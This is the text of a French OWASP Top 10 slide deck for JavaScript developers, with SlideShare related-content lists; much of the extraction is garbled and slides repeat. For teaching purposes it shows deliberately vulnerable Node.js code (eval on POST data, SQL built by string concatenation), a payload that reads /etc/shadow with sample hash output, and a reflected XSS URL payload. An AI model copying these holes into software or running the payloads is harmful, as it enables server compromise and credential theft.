  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                      Scrip;ng	
  (XSS)
                                                                     l’authen;fica;on                         objet


                                                                                                             A8:	
  Mauvaise	
  
A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                             restric;on	
  d’accès	
  à	
  
Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                             une	
  URL



                                      A9:	
  Protec;on	
  
                                                                     A10:	
  	
  Redirec;ons	
  	
  et	
  
                                      insuffisante	
  lors	
  du	
  
                                                                     transferts	
  non	
  validés
                                      transport	
  des	
  données


                                 hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
36

Saturday, March 2, 13
★L’encodage	
  n’apporte	
  pas	
  de	
  protec6on
              ★Plutot	
  que	
  de	
  chiffrer	
  une	
  donnée,	
  se	
  poser	
  la	
  
               ques6on	
  de	
  l’u6lité	
  de	
  la	
  stocker	
  !	
  
              ★Préférer	
  “hasher”	
  les	
  données	
  plutôt	
  que	
  de	
  les	
  
               chiffrer	
  
              ★Ajouter	
  des	
  aléas	
  (sels)	
  différents	
  dans	
  le	
  hashage
              ★U6liser	
  des	
  algorithmes	
  ‘forts’	
  
                        • SHA2
                        • AES
                        • SHA3...
                                                                                           37

Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                         A2:	
  Cross	
  Site	
  
   A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                         Scrip;ng	
  (XSS)
                                                                        l’authen;fica;on                         objet


                                                                                                                A8:	
  Mauvaise	
  
   A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                restric;on	
  d’accès	
  à	
  
   Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                une	
  URL



                                         A9:	
  Protec;on	
  
                                                                        A10:	
  	
  Redirec;ons	
  	
  et	
  
                                         insuffisante	
  lors	
  du	
  
                                                                        transferts	
  non	
  validés
                                         transport	
  des	
  données


                                    hDp://www.owasp.org/index.php/Top_10

Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                         A2:	
  Cross	
  Site	
  
   A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                         Scrip;ng	
  (XSS)
                                                                        l’authen;fica;on                         objet


                                                                                                                A8:	
  Mauvaise	
  
   A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                restric;on	
  d’accès	
  à	
  
   Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                une	
  URL



                                         A9:	
  Protec;on	
  
                                                                        A10:	
  	
  Redirec;ons	
  	
  et	
  
                                         insuffisante	
  lors	
  du	
  
                                                                        transferts	
  non	
  validés
                                         transport	
  des	
  données


                                    hDp://www.owasp.org/index.php/Top_10

Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                         A2:	
  Cross	
  Site	
  
   A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                         Scrip;ng	
  (XSS)
                                                                        l’authen;fica;on                         objet


                                                                                                                A8:	
  Mauvaise	
  
   A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                restric;on	
  d’accès	
  à	
  
   Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                une	
  URL



                                         A9:	
  Protec;on	
  
                                                                        A10:	
  	
  Redirec;ons	
  	
  et	
  
                                         insuffisante	
  lors	
  du	
  
                                                                        transferts	
  non	
  validés
                                         transport	
  des	
  données


                                    hDp://www.owasp.org/index.php/Top_10

Saturday, March 2, 13
39

Saturday, March 2, 13
39

Saturday, March 2, 13
39

Saturday, March 2, 13
Contre-­‐Mesures




                • Configurer	
  correctement	
  la	
  restric6on	
  
                  d’accès	
  sur	
  les	
  serveurs.
                • Empécher	
  le	
  lis6ng	
  de	
  directory	
  du	
  serveur.
                • Ajouter	
  les	
  bons	
  type-­‐mime.
                • ....



                                                                                  40

Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                         A2:	
  Cross	
  Site	
  
   A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                         Scrip;ng	
  (XSS)
                                                                        l’authen;fica;on                         objet


                                                                                                                A8:	
  Mauvaise	
  
   A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                restric;on	
  d’accès	
  à	
  
   Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                une	
  URL



                                         A9:	
  Protec;on	
  
                                                                        A10:	
  	
  Redirec;ons	
  	
  et	
  
                                         insuffisante	
  lors	
  du	
  
                                                                        transferts	
  non	
  validés
                                         transport	
  des	
  données


                                    hDp://www.owasp.org/index.php/Top_10



Saturday, March 2, 13                                                                                                                  41
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                         A2:	
  Cross	
  Site	
  
   A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                         Scrip;ng	
  (XSS)
                                                                        l’authen;fica;on                         objet


                                                                                                                A8:	
  Mauvaise	
  
   A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                restric;on	
  d’accès	
  à	
  
   Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                une	
  URL



                                         A9:	
  Protec;on	
  
                                                                        A10:	
  	
  Redirec;ons	
  	
  et	
  
                                         insuffisante	
  lors	
  du	
  
                                                                        transferts	
  non	
  validés
                                         transport	
  des	
  données


                                    hDp://www.owasp.org/index.php/Top_10



Saturday, March 2, 13                                                                                                                  41
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                         A2:	
  Cross	
  Site	
  
   A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                         Scrip;ng	
  (XSS)
                                                                        l’authen;fica;on                         objet


                                                                                                                A8:	
  Mauvaise	
  
   A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                restric;on	
  d’accès	
  à	
  
   Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                une	
  URL



                                         A9:	
  Protec;on	
  
                                                                        A10:	
  	
  Redirec;ons	
  	
  et	
  
                                         insuffisante	
  lors	
  du	
  
                                                                        transferts	
  non	
  validés
                                         transport	
  des	
  données


                                    hDp://www.owasp.org/index.php/Top_10



Saturday, March 2, 13                                                                                                                  41
42

Saturday, March 2, 13
43

Saturday, March 2, 13
43

Saturday, March 2, 13
Contre-­‐Mesures	
  expérimentales	
  
                                                                             avec	
  JSON	
  



•   JSON	
  Web	
  Encryp;on	
  (JWE)	
  :	
  JSON	
  Web	
  Encryp6on	
  (JWE)	
  est	
  un	
  drax	
  expliquant	
  
    comment	
  représenter	
  un	
  élément	
  chiffrer	
  via	
  des	
  structures	
  de	
  données	
  JavaScript	
  
    Object	
  Nota6on	
  (JSON).
      ➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐encryp;on-­‐07#page-­‐23	
  
•   JSON	
  Web	
  Signature	
  (JWS)	
  :	
  JSON	
  Web	
  Signature	
  (JWS)	
  est	
  un	
  drax	
  détaillant	
  
    comment	
  représenter	
  dans	
  une	
  strucutre	
  de	
  données	
  JSON,	
  du	
  contenu	
  u6lisant	
  des	
  
    signatures	
  numériques	
  ou	
  des	
  codes	
  d'authen6fica6on	
  de	
  message	
  (MAC).
      ➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐signature-­‐07
•   	
  JSON	
  Web	
  Algorithm	
  (JWA)	
  :	
  JSON	
  Web	
  Algorithms	
  (JWA)	
  décrit	
  les	
  algorithmes,	
  
    iden6fiants	
  nécessaires	
  pour	
  l'u6lisa6on	
  des	
  futurs	
  standars	
  JWE,	
  JWS	
  et	
  JWS.
      ➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐algorithms
•   JSON	
  Web	
  Key	
  (JWK)	
  :	
  	
  Une	
  structure	
  JSON	
  Web	
  Key	
  (JWK)	
  est	
  une	
  structure	
  JavaScript	
  
    Object	
  Nota6on	
  (JSON)	
  représentant	
  un	
  clef	
  publique.	
  Ce	
  drax	
  défini	
  aussi	
  la	
  manière	
  
    de	
  représenter	
  un	
  ensemble	
  de	
  structures	
  de	
  type	
  JWK..
      ➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐key-­‐07
                                                                                                                                44

Saturday, March 2, 13
Contre-­‐Mesures



                ★U6liser	
  TLS/SSL	
  dès	
  que	
  des	
  données	
  sensibles	
  sont	
  a	
  
                 échanger
                ★Mebre	
  le	
  flag	
  ‘Secure’	
  sur	
  les	
  cookies	
  importants	
  (cookie	
  de	
  
                 session	
  par	
  exemple)
                ★Ne	
  pas	
  mixer	
  d’accès	
  à	
  du	
  contenu	
  HTTP	
  depuis	
  du	
  contenu	
  
                 HTTPS
                ★Mebre	
  en	
  place	
  une	
  configura6on	
  “sécurisée”	
  de	
  TLS/SSL	
  (cf	
  
                 www.ssllabs.com)
                ★Voir	
  	
  hDp://www.owasp.org/index.php/
                 Transport_Layer_Protec;on_Cheat_Sheet	
  	
  pour	
  plus	
  de	
  
                 details


                                                                                                              45

Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                      A2:	
  Cross	
  Site	
  
A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                      Scrip;ng	
  (XSS)
                                                                     l’authen;fica;on                         objet


                                                                                                             A8:	
  Mauvaise	
  
A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                             restric;on	
  d’accès	
  à	
  
Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                             une	
  URL



                                      A9:	
  Protec;on	
  
                                                                     A10:	
  	
  Redirec;ons	
  	
  et	
  
                                      insuffisante	
  lors	
  du	
  
                                                                     transferts	
  non	
  validés
                                      transport	
  des	
  données


                                 hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                      A2:	
  Cross	
  Site	
  
A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                      Scrip;ng	
  (XSS)
                                                                     l’authen;fica;on                         objet


                                                                                                             A8:	
  Mauvaise	
  
A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                             restric;on	
  d’accès	
  à	
  
Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                             une	
  URL



                                      A9:	
  Protec;on	
  
                                                                     A10:	
  	
  Redirec;ons	
  	
  et	
  
                                      insuffisante	
  lors	
  du	
  
                                                                     transferts	
  non	
  validés
                                      transport	
  des	
  données


                                 hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                      A2:	
  Cross	
  Site	
  
A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                      Scrip;ng	
  (XSS)
                                                                     l’authen;fica;on                         objet


                                                                                                             A8:	
  Mauvaise	
  
A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                             restric;on	
  d’accès	
  à	
  
Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                             une	
  URL



                                      A9:	
  Protec;on	
  
                                                                     A10:	
  	
  Redirec;ons	
  	
  et	
  
                                      insuffisante	
  lors	
  du	
  
                                                                     transferts	
  non	
  validés
                                      transport	
  des	
  données


                                 hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
Saturday, March 2, 13
Contre-­‐Mesures


                    ★ Eviter	
  au	
  maximum	
  les	
  redirec6ons	
  et	
  les	
  
                           transferts
                  ★ S’il	
  faut	
  absolument	
  les	
  intégrer,	
  ne	
  pas	
  u6liser	
  les	
  
                    paramètres	
  parvenant	
  d’un	
  u6lisateur	
  pour	
  définir	
  
                    l’URL/fonc6on	
  cible.
                  ★ Si	
  vous	
  “devez”	
  u6liser	
  les	
  paramètres	
  u6lisateurs,	
  
                        •   Valider	
  chaque	
  paramètre	
  pour	
  vérifier	
  qu’il	
  est	
  autorisé	
  et	
  
                            valide	
  par	
  rapport	
  à	
  l’u6lisateur,	
  ou	
  alors	
  
                        •   U6liser	
  une	
  table	
  de	
  correspondance	
  serveur	
  entre	
  les	
  
                            paramètres	
  u6lisateurs	
  et	
  les	
  pages	
  à	
  appeler.
                  ★ Pour	
  les	
  redirec6ons,	
  valider	
  l’URL	
  cible	
  après	
  la	
  
                    construc6on	
  pour	
  vérifier	
  qu’elle	
  redirige	
  bien	
  
                    vers	
  un	
  site	
  autorisé	
  !
                                                                                                                      48

Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                           A2:	
  Cross	
  Site	
  
     A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                           Scrip;ng	
  (XSS)
                                                                          l’authen;fica;on                         objet


                                                                                                                  A8:	
  Mauvaise	
  
     A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                  restric;on	
  d’accès	
  à	
  
     Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                  une	
  URL



                                           A9:	
  Protec;on	
  
                                                                          A10:	
  	
  Redirec;ons	
  	
  et	
  
                                           insuffisante	
  lors	
  du	
  
                                                                          transferts	
  non	
  validés
                                           transport	
  des	
  données


                                      hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                           A2:	
  Cross	
  Site	
  
     A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                           Scrip;ng	
  (XSS)
                                                                          l’authen;fica;on                         objet


                                                                                                                  A8:	
  Mauvaise	
  
     A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                  restric;on	
  d’accès	
  à	
  
     Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                  une	
  URL



                                           A9:	
  Protec;on	
  
                                                                          A10:	
  	
  Redirec;ons	
  	
  et	
  
                                           insuffisante	
  lors	
  du	
  
                                                                          transferts	
  non	
  validés
                                           transport	
  des	
  données


                                      hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                           A2:	
  Cross	
  Site	
  
     A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                           Scrip;ng	
  (XSS)
                                                                          l’authen;fica;on                         objet


                                                                                                                  A8:	
  Mauvaise	
  
     A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                  restric;on	
  d’accès	
  à	
  
     Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                  une	
  URL



                                           A9:	
  Protec;on	
  
                                                                          A10:	
  	
  Redirec;ons	
  	
  et	
  
                                           insuffisante	
  lors	
  du	
  
                                                                          transferts	
  non	
  validés
                                           transport	
  des	
  données


                                      hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
Vous pouvez donc vous
               protéger de lui maintenant...

                        • @SPoint

                        • sebas6en.gioria@owasp.org



Saturday, March 2, 13
Vous pouvez donc vous
               protéger de lui maintenant...

                          • @SPoint

                          • sebas6en.gioria@owasp.org


Il n'y a qu'une façon d'échouer, c'est d'abandonner avant d'avoir réussi [Olivier Lockert]

Saturday, March 2, 13

More Related Content

Similar to 2013 02-27-owasp top10 javascript

Websockets par Martin Moizard
Websockets par Martin MoizardWebsockets par Martin Moizard
Websockets par Martin Moizard
CocoaHeads France
 
Réu technodejs
Réu technodejsRéu technodejs
Réu technodejs
naholyr
 

Similar to 2013 02-27-owasp top10 javascript (8)

Ruby STAR
Ruby STARRuby STAR
Ruby STAR
 
Websockets par Martin Moizard
Websockets par Martin MoizardWebsockets par Martin Moizard
Websockets par Martin Moizard
 
Solution Linux 2009 - JavaScript
Solution Linux 2009 - JavaScriptSolution Linux 2009 - JavaScript
Solution Linux 2009 - JavaScript
 
Nouveautés JavaScript dans le monde Microsoft
Nouveautés JavaScript dans le monde MicrosoftNouveautés JavaScript dans le monde Microsoft
Nouveautés JavaScript dans le monde Microsoft
 
Ajax (Asynchronous JavaScript and XML)
Ajax (Asynchronous JavaScript and XML)Ajax (Asynchronous JavaScript and XML)
Ajax (Asynchronous JavaScript and XML)
 
A13 big data et web sémantique
A13  big data et web sémantiqueA13  big data et web sémantique
A13 big data et web sémantique
 
Réu technodejs
Réu technodejsRéu technodejs
Réu technodejs
 
Quelle place pour le framework Rails dans le développement d'application web
Quelle place pour le framework Rails dans le développement d'application webQuelle place pour le framework Rails dans le développement d'application web
Quelle place pour le framework Rails dans le développement d'application web
 

More from Sébastien GIORIA

OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
OWASP Top10 IoT - CLUSIR Infornord Décembre 2014OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
Sébastien GIORIA
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouse
Sébastien GIORIA
 
Présentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonPrésentation Top10 CEGID Lyon
Présentation Top10 CEGID Lyon
Sébastien GIORIA
 
OWASP, the life and the universe
OWASP, the life and the universeOWASP, the life and the universe
OWASP, the life and the universe
Sébastien GIORIA
 
2013 04-04-html5-security-v2
2013 04-04-html5-security-v22013 04-04-html5-security-v2
2013 04-04-html5-security-v2
Sébastien GIORIA
 
2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécurité2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécurité
Sébastien GIORIA
 

More from Sébastien GIORIA (20)

OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
OWASP Top10 IoT - CLUSIR Infornord Décembre 2014OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
 
Analyser la sécurité de son code source avec SonarSource
Analyser la sécurité de son code source avec SonarSourceAnalyser la sécurité de son code source avec SonarSource
Analyser la sécurité de son code source avec SonarSource
 
2014 09-25-club-27001 iso 27034-presentation-v2.2
2014 09-25-club-27001 iso 27034-presentation-v2.22014 09-25-club-27001 iso 27034-presentation-v2.2
2014 09-25-club-27001 iso 27034-presentation-v2.2
 
SonarQube et la Sécurité
SonarQube et la SécuritéSonarQube et la Sécurité
SonarQube et la Sécurité
 
2014 09-04-pj
2014 09-04-pj2014 09-04-pj
2014 09-04-pj
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouse
 
Présentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonPrésentation Top10 CEGID Lyon
Présentation Top10 CEGID Lyon
 
Présentation au CRI-Ouest
Présentation au CRI-OuestPrésentation au CRI-Ouest
Présentation au CRI-Ouest
 
OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013
 
OWASP, the life and the universe
OWASP, the life and the universeOWASP, the life and the universe
OWASP, the life and the universe
 
2013 04-04-html5-security-v2
2013 04-04-html5-security-v22013 04-04-html5-security-v2
2013 04-04-html5-security-v2
 
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
 
2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécurité2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécurité
 
Secure Coding for Java
Secure Coding for JavaSecure Coding for Java
Secure Coding for Java
 
2012 11-07-owasp mobile top10 v01
2012 11-07-owasp mobile top10 v012012 11-07-owasp mobile top10 v01
2012 11-07-owasp mobile top10 v01
 
2012 07-05-spn-sgi-v1-lite
2012 07-05-spn-sgi-v1-lite2012 07-05-spn-sgi-v1-lite
2012 07-05-spn-sgi-v1-lite
 
2012 03-02-sdl-sgi-v03
2012 03-02-sdl-sgi-v032012 03-02-sdl-sgi-v03
2012 03-02-sdl-sgi-v03
 
2012 03-01-ror security v01
2012 03-01-ror security v012012 03-01-ror security v01
2012 03-01-ror security v01
 
OWASP Mobile Top10 - Les 10 risques sur les mobiles
OWASP Mobile Top10 -  Les 10 risques sur les mobilesOWASP Mobile Top10 -  Les 10 risques sur les mobiles
OWASP Mobile Top10 - Les 10 risques sur les mobiles
 
2011 02-07-html5-security-v1
2011 02-07-html5-security-v12011 02-07-html5-security-v1
2011 02-07-html5-security-v1
 

2013 02-27-owasp top10 javascript

  • 1. OWASP  Top  10  2010   pour  le  développeur  JavaScript Sébas;en  Gioria OWASP  France  Leader  -­‐  OWASP  Global  Educa;on  CommiDee Confoo.ca  -­‐  27  Février  2013  -­‐  Montréal  -­‐  Canada Saturday, March 2, 13
  • 2. http://www.google.fr/#q=sebastien gioria ‣Consultant Indépendant en Sécurité Applicative ‣OWASP France Leader & Founder - Evangéliste ‣OWASP Global Education Comittee Member (sebastien.gioria@owasp.org) Twitter :@SPoint Saturday, March 2, 13 2
  • 3. O-­‐ou-­‐a-­‐ss-­‐pe? • OWASP  =  Open  Web  Applica6on  Security  Project – Il  y  a  le  mot  “web”  mais  en  fait  … • Mission: – Global,  ouvert,  non  lucra6f,  indépendant. • Communauté  OWASP: – 30,000  abonnés  aux  listes  de  diffusion   – 200  sec6ons  régionales  ac6ves  dans  70  pays – 1’600  membres  officiels,  56  entreprises  partenaires – 69  ins6tu6ons  académiques Saturday, March 2, 13
  • 4. OWASP  Canada • Sec6ons  OWASP  au  Canada: – Alberta:  Edmonton  &  Lethbridge – Bri6sh  Columbia:  Okanagan  &  Vancouver – Manitoba:  Winnipeg – New  Brunswick:  New  Brunswick – Ontario:  Niagara,  Toronto – Quebec:  Montréal,  Obawa,  Quebec  city Saturday, March 2, 13
  • 6. Que  se  passe-­‐t-­‐il  ?   var http = require('http'); http.createServer(function (request, response) { if (request.method === 'POST') { ! var data = ''; ! request.addListener('data', function(chunk) { data += chunk; }); ! request.addListener('end', function() { ! var stockQuery = eval("(" + data + ")"); ! var price = getStockPrice(stockQuery.symbol); ! ... }); 6 Saturday, March 2, 13
  • 7. Que  se  passe-­‐t-­‐il  ?   var http = require('http'); http.createServer(function (request, response) { if (request.method === 'POST') { ! var data = ''; ! request.addListener('data', function(chunk) { data += chunk; }); ! request.addListener('end', function() { ! var stockQuery = eval("(" + data + ")"); ! var price = getStockPrice(stockQuery.symbol); ! ... }); 6 Saturday, March 2, 13
  • 8. Que  se  passe-­‐t-­‐il  ?   var http = require('http'); http.createServer(function (request, response) { if (request.method === 'POST') { ! var data = ''; ! request.addListener('data', function(chunk) { data += chunk; }); ! request.addListener('end', function() { ! var stockQuery = eval("(" + data + ")"); ! var price = getStockPrice(stockQuery.symbol); ! ... }); var fs = require('fs'); return fs.readFileSync('/etc/shadow'); 6 Saturday, March 2, 13
  • 9. Que  se  passe-­‐t-­‐il  ?   var http = require('http'); http.createServer(function (request, response) { if (request.method === 'POST') { ! var data = ''; ! request.addListener('data', function(chunk) { data += chunk; }); ! request.addListener('end', function() { ! var stockQuery = eval("(" + data + ")"); ! var price = getStockPrice(stockQuery.symbol); ! ... }); var fs = require('fs'); return fs.readFileSync('/etc/shadow'); 6 Saturday, March 2, 13
  • 10. Que  se  passe-­‐t-­‐il  ?   var http = require('http'); http.createServer(function (request, response) { if (request.method === 'POST') { ! var data = ''; ! request.addListener('data', function(chunk) { data += chunk; }); ! request.addListener('end', function() { ! var stockQuery = eval("(" + data + ")"); ! var price = getStockPrice(stockQuery.symbol); ! ... }); var fs = require('fs'); return fs.readFileSync('/etc/shadow'); root:$6$enEZGERdwP$hN4bR9BJd7JVQ/OKDF354DFfdg’DFG.4.OKs2HE/BD7qqQPWpvFe5TCJeblSUKZFswLq0P0:15293:0:99999:7::: daemon:*:14743:0:99999:7::: bin:*:14743:0:99999:7::: sys:*:14743:0:99999:7::: spoint:$6$454FDfd$fBXQtwOtNQ71OEMj78uxidxLthoedggioerjgoeirg34FDVDFVoqv9ulQ1W2At6MFT0/1VfAAb6G.lFr.qYhSMaMnz1:15293:0:99999:7::: landscape:*:15293:0:99999:7::: bind:*:15293:0:99999:7::: ntpd:*:15293:0:99999:7::: sshd:*:15293:0:99999:7::: mysql:!:15350:0:99999:7::: 6 Saturday, March 2, 13
  • 11. Que  se  passe-­‐t-­‐il  ?   var http = require('http'); http.createServer(function (request, response) { if (request.method === 'POST') { ! var data = ''; ! request.addListener('data', function(chunk) { data += chunk; }); ! request.addListener('end', function() { ! var stockQuery = eval("(" + data + ")"); ! var price = getStockPrice(stockQuery.symbol); ! ... }); 6 Saturday, March 2, 13
  • 12. Que  se  passe-­‐t-­‐il app.post('/login',  function(req,  res){        client.query('SELECT  *  FROM  users  WHERE  username="'  +  req.body.login  +  '"  AND  password="'  +  Hash.sha1(req.body.password)  +  '"',                function  (err,  results,  fields)  {                        if  (err)  {                                throw  err;                        }                        if  (results[0])  {                                req.session.userInfo  =  results[0];                                req.session.is_logged_in  =  true;                                res.render('site/start',  {                                        title:  'News'                                });                        }                        else  {                                res.redirect('/');                        }                }        ); }); 7 Saturday, March 2, 13
  • 21. Contre-­‐mesure ★Valider les données ★Utiliser les mécanismes des requêtes paramétrées quand elles sont disponibles client.query('SELECT * FROM users WHERE username=?', [username], ...) ★Minimiser les privilèges des utilisateurs ★Input validation Cheat Sheet : ★https://www.owasp.org/index.php/ Input_Validation_Cheat_Sheet 9 Saturday, March 2, 13
  • 22. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 23. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 24. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 26. <script> var url = window.location.href; var pos = url.indexOf("field-author=") + 6; var len = url.length; var title_string = url.substring(pos,len); document.write(unescape(title_string)); </script> http://www.amazon.ca/s?ie=UTF8&search-type=ss&index=books-ca&field-author=%22%3E %3Cscript%3Ealert(%2 2XSS%20BY%20Fugitif%22)%3C/script%3E 12 Saturday, March 2, 13
  • 27. <script> var url = window.location.href; var pos = url.indexOf("field-author=") + 6; var len = url.length; var title_string = url.substring(pos,len); document.write(unescape(title_string)); </script> http://www.amazon.ca/s?ie=UTF8&search-type=ss&index=books-ca&field-author=%22%3E %3Cscript%3Ealert(%2 2XSS%20BY%20Fugitif%22)%3C/script%3E 12 Saturday, March 2, 13
